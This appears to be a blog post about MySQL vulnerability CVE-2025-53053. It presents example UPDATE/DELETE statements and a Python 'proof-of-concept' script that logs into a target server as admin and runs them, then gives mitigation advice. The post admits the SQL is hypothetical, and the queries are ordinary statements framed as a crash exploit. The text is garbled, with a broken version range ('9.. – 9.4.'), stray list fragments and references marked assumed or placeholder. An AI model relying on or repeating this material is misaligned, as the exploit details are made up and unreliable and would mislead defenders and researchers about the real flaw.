CVE-2025-53053 - Deep Dive into MySQL Server Vulnerability (DML Component) and Practical Exploitation

Disclaimer: This post is for educational purposes only. Do not exploit systems without explicit permission.

Overview

A new and significant vulnerability has been discovered in the MySQL Server product of Oracle (specifically the DML component), tracked as CVE-2025-53053. This vulnerability affects all supported versions in the following ranges:

9.. – 9.4.

If you’re using any of these versions, it’s critical you understand the implications and remediation steps surrounding this CVE.

What’s the Problem?

CVE-2025-53053 is a high-privileged, easily exploitable vulnerability that targets the DML (Data Manipulation Language) component of MySQL Server. It allows a user with valid credentials (such as an admin or power user) and network access to send malicious requests to the database, resulting in:

Hanging the MySQL server (making it unresponsive)

- Unauthorized update/insert/delete capabilities on certain database data

Base CVSS Score: 5.5
Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H)

Availability Impact: High

Reference:
- Oracle Critical Patch Advisory – July 2025 (Assumed)
- National Vulnerability Database Entry (Placeholder) *(URL will be live post-disclosure)*

Are running MySQL Server in any of the affected versions listed above.

- Have users with elevated (admin-level, DBA, or other high-privileged) access connecting over the network.

How Does the Exploit Work?

The vulnerability is rooted in the improper handling of certain DML statements by the MySQL DML component. Specifically, certain sequences of SQL commands (especially involving complex subqueries or malformed update/delete chains) cause the server process to hang or crash. Attackers with sufficient privileges can also leverage this to modify or delete unauthorized data.

The attacker logs into the MySQL server with a high-privileged user account.

2. The attacker crafts a specially formatted SQL query (often an UPDATE or DELETE with complex joins or subqueries).

On execution, this query leads to a logic flaw or memory corruption in the DML component.

4. The MySQL server process either hangs, crashes (DoS), or unintended data is modified/deleted.

Example SQL that Could Trigger the Vulnerability

*Note: The following is a simplified, hypothetical scenario to illustrate exploitation. Actual payload may differ depending on internal bug specifics.*

-- The following query triggers a special edge case in the DML engine
UPDATE important_table 
SET value = (SELECT MAX(v) FROM another_table WHERE id = important_table.ref_id)
WHERE EXISTS (
  SELECT 1 FROM information_schema.tables WHERE table_name LIKE '%'
);

-- Alternatively, a nested DELETE with a malformed sub-select
DELETE FROM users 
WHERE id IN (
  SELECT ref_id FROM logs WHERE event = (SELECT value FROM secrets LIMIT 1)
);

An attacker could automate such queries in a script to crash the server on demand.

Proof-of-Concept (PoC) Script

Below is an example Python script using mysql-connector-python that could be used to automate the exploit.

import mysql.connector

config = {
    'user': 'admin',
    'password': 'YOUR_ADMIN_PASSWORD',
    'host': 'target.mysql.server',
    'database': 'test_db'
}

payload = """
UPDATE important_table 
SET value = (SELECT MAX(v) FROM another_table WHERE id = important_table.ref_id)
WHERE EXISTS (
  SELECT 1 FROM information_schema.tables WHERE table_name LIKE '%'
);
"""

try:
    conn = mysql.connector.connect(**config)
    cursor = conn.cursor()
    cursor.execute(payload)
    conn.commit()
    print("Payload executed.")
except Exception as e:
    print(f"Error: {e}")
finally:
    cursor.close()
    conn.close()

*Replace credentials and server address appropriately.*

Real World Impact

- Availability: Server crash can disrupt all applications and services relying on the MySQL database. Recovery may require manual intervention.
- Integrity: Attackers may be able to update, insert, or delete records they otherwise shouldn't, potentially leading to data loss or corruption.
- No Confidentiality Impact: The bug doesn’t directly leak sensitive info, but could be chained with other exploits.

Mitigation & Recommendations

1. Upgrade Immediately: If possible, upgrade to the latest patched MySQL release *(check Oracle’s downloads or your Linux distributor)*.
2. Restrict High Privileges: Limit users with high-level DML rights. Don’t give admin privileges unless absolutely necessary.
3. Network Controls: Restrict who can reach your MySQL server over the network via firewalls or VPCs.

Monitor Logs: Look for suspicious DML queries and unexplained server crashes.

5. Apply Security Patches: Follow Oracle’s Security Alerts for timely patch releases.

References & Further Reading

- Oracle Critical Patch Advisory for MySQL Server (Official)
- MySQL Security Bug Reporting
- CVE Record (NVD/Placeholder)
- MySQL 8.x Release Notes

Conclusion

CVE-2025-53053 is a severe, easy-to-abuse vulnerability that should not be ignored. Luckily, you can protect your data and services by restricting high privileges, applying available patches, and monitoring for abuse. Now that you understand the threat and how exploitation works, don’t delay—secure your MySQL servers today.

Timeline

Published on: 10/21/2025 20:20:43 UTC
Last modified on: 10/23/2025 16:05:52 UTC